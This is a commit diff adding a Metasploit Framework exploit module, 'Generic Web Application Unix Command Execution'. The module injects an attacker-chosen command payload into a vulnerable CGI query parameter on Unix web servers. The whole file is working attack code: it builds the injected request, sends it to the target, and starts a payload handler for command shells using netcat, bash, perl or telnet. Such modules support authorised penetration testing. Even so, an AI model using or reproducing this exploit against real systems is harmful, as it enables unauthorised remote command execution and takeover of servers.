Add a quick module for exploiting basic web cmd injection

git-svn-id: file:///home/svn/framework3/trunk@10624 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/unix/webapp/generic_exec.rb

@@ -0,0 +1,86 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::Tcp
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Generic Web Application Unix Command Execution',
+			'Description'    => %q{
+					This module can be used to exploit any generic command execution vulnerability
+				for CGI applications on Unix-like platforms. To use this module, specify the 
+				CMDURI path, replacing the command itself with XXcmdXX. This module is currently
+				limited to forms vulnerable through GET requests with query parameters.
+			},
+			'Author'         => [ 'hdm' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'DisableNops' => true,
+					'Space'       => 1024,
+					'Compat'      =>
+						{
+							'PayloadType' => 'cmd',
+							'RequiredCmd' => 'generic perl telnet netcat-e bash',
+						}
+				},
+			'Platform'       => 'unix',
+			'Arch'           => ARCH_CMD,
+			'Targets'        => [[ 'Automatic', { }]],
+			'DisclosureDate' => 'Oct 09 2010',
+			'DefaultTarget' => 0))
+
+		register_options(
+			[
+				OptString.new('CMDURI', [true, "The full URI path with the XXcmdXX parameter", "/cgi-bin/generic?cmd=XXcmdXX"]),
+			], self.class)
+	end
+
+	def exploit
+		uri = datastore['CMDURI'].to_s
+		uri,query = uri.split('?', 2)
+
+		if query
+			query = query.split('&').map{|var|
+				k,v = var.split('=', 2)
+				Rex::Text.uri_encode(k) + "=" + Rex::Text.uri_encode(v.gsub("XXcmdXX", payload.encoded))
+			}.join('&')
+			uri = uri + '?' + query
+		end
+		
+		print_status("Sending HTTP request for #{uri}")
+		res = send_request_cgi( {
+			'global' => true,
+			'uri'    => uri
+		}, 30)
+
+		if res
+			print_status("The server responded with HTTP CODE #{res.code}")
+		else
+			print_status("The server did not respond to our request")
+		end
+
+		handler
+	end
+
+end